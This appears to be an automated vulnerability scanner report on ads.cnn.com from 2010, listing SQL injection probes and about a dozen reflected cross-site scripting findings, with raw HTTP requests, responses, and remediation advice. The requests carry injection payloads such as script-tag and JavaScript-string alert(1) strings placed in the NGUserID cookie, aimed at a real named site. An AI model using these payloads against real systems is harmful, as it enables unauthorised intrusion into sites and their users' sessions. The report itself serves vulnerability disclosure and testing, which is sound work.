GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:40 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:40 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:40 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:40 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:40 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:40 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:03:11 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:58 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:58 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:58 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:04:40 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:56 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:56 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:56 GMT Connection: close Content-Type: text/html
2. Cross-site scripting (reflected)previous There are 28 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 565be"><script>alert(1)</script>0a4d34969c6 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=1x1_top&cnn_rollup=technology¶ms.styles=fs_interstitial HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2565be"><script>alert(1)</script>0a4d34969c6; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:06:47 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:06:47 GMT Pragma: no-cache Content-Length: 1132 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ad2"><script>alert(1)</script>ca2dc2842a9 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-256ad2"><script>alert(1)</script>ca2dc2842a9; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:07 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:07 GMT Pragma: no-cache Content-Length: 7558 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 116f3'-alert(1)-'64bed3dcb39 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2116f3'-alert(1)-'64bed3dcb39; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:08 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:08 GMT Pragma: no-cache Content-Length: 7513 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32cab"><script>alert(1)</script>6d6dc7cb58e was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 852f6'-alert(1)-'5e7076f50ad was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8685'-alert(1)-'f805f087727 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2f8685'-alert(1)-'f805f087727; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:07 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:07 GMT Pragma: no-cache Content-Length: 6262 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26de2"><script>alert(1)</script>963d2c107bd was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-226de2"><script>alert(1)</script>963d2c107bd; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:07 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:07 GMT Pragma: no-cache Content-Length: 5142 Connection: close Content-Type: text/html
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf29"><script>alert(1)</script>4f9501b4466 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2abf29"><script>alert(1)</script>4f9501b4466; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response
HTTP/1.1 200 OK Date: Sun, 07 Nov 2010 21:07:22 GMT Server: Apache AdServer: ads1ad43:9678:1 P3P: CP="NOI DEVa TAIa OUR BUS UNI" Cache-Control: max-age=0, no-cache, private Expires: Sun, 07 Nov 2010 21:07:22 GMT Pragma: no-cache Content-Length: 4507 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head>
<script> function cnnad_getTld (hostname) { var data = hostname.split(".");
The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1d78"><script>alert(1)</script>0393fdcdd99 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
